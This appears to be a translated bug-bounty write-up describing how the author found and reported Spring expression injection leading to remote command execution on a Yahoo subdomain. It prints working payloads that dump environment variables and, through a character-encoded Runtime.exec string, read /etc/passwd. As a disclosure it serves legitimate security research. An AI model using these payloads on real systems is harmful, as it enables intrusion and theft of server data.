导语:本文介绍了我最近发现的一个漏洞,并通过雅虎的漏洞赏金计划报告了该漏洞。

本文介绍了我最近发现的一个漏洞,并通过雅虎的漏洞赏金计划报告了该漏洞。在web应用程序安全性测试中,进行侦察是发现潜在易受攻击的web应用程序资产的关键步骤,因为通过侦查可以发现子域名、目录和其他资产,而这些资产可能增加web应用程序的攻击面。首先,我进行了一些子域名查找,使用的是一些在线工具,比如shodan.io、censys.io、crt.sh、dnsdata.com,以及github上的几个脚本,比如dirsearch、aquatone、massdns等等。使用上述工具,查找到了一个子域名——datax.yahoo.com。我对该子域名很感兴趣,把它作为根目录会重定向到https://datax.yahoo.com/swagger-ui.html,并且随后便显示403错误页面。

图片1.png

然后,我运行了一个快速的Dirsearch扫描,以发现隐藏的目录。我不确定结果是什么,但我注意到,当将空格字符添加到url; https://datax.yahoo.com/%20/时,状态代码从403更改为200。然后,出现了下面的页面。

图片2.png

从这里开始,我作为一个未经身份验证的用户,测试了一些API端点,以发现潜在的漏洞。在浏览了几个端点之后,我发现了下面的端点,该端点显示了白色标签错误页面,在错误中反映了参数值:

图片3.png

注意到文本的反射,我尝试了一些XSS有效负载,但是无法成功地执行客户端javascript。但是,当输入如${{7*7}}这样的有效负载时,我惊讶地发现在响应中成功计算了该算术表达式。

图片4.png

我之所以感到惊讶,是因为对表达式的求值,以及对语法中“$”字符的要求成功对表达式求值 。这通常表明,某些类型的模板引擎/服务器端的求值涉及到处理表达式。在进行了更多的研究之后,对这个主机可能使用的模板引擎进行了一些猜测。向雅虎安全团队展示了目前为止我发现的这些情况后,我收到了来自雅虎团队的证实,主机使用的模板是Spring引擎模板。并且雅虎方面要求我尝试着看看还能进行什么操作。鉴于我只能使用该引擎模板做基本的数学计算,他们想知道我是否能从服务器中提取一些数据,以便他们能够全面评估其影响。因此,当我做了更多的探索来寻找有效负载,以便用找到的有效负载从漏洞中检索系统信息,并发现了有效负载:${T(java.lang.System).getenv()} ,可以用来检索系统的环境变量。

图片5.png

然后我试着用.exec方法以执行命令“cat etc/passwd”来证明可以使用.exec方法执行该命令,以便从服务器中提取数据。其有效负载是:${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}。但是,该命令只在响应中反映,并且没有执行。我不知道为什么它没有起作用,但是我又发现了另一位研究者的博客——http://deadpool.sh/2017/RCE-Springs/。他使用连接将与该命令中使用的字符相关联的ASCII数字值组合在一起。最终使用了下面的有效负载,成功地将执行方法用于cat etc/passwd:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

我不想用截屏来披露该文件的内容。因此,为了证实,我将使用相同的技术展示执行“id”命令的输出:

图片6.png

到目前为止,我对雅虎的漏洞赏金已经有了很好的体验,并且会向其他研究人员推荐该项目,推荐之前我会对他们如何处理、解决和评估提交的报告进行了解。对发现问题的悬赏金额是500美元,在几周内解决问题的赏金是7500美元,总共是8000美元。

参考

https://nvd.nist.gov/vuln/detail/CVE-2016-4977

http://secalert.net/#cve-2016-4977

http://deadpool.sh/2017/RCE-Springs/

定制白标签错误页面

https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html

源链接

Hacking more

...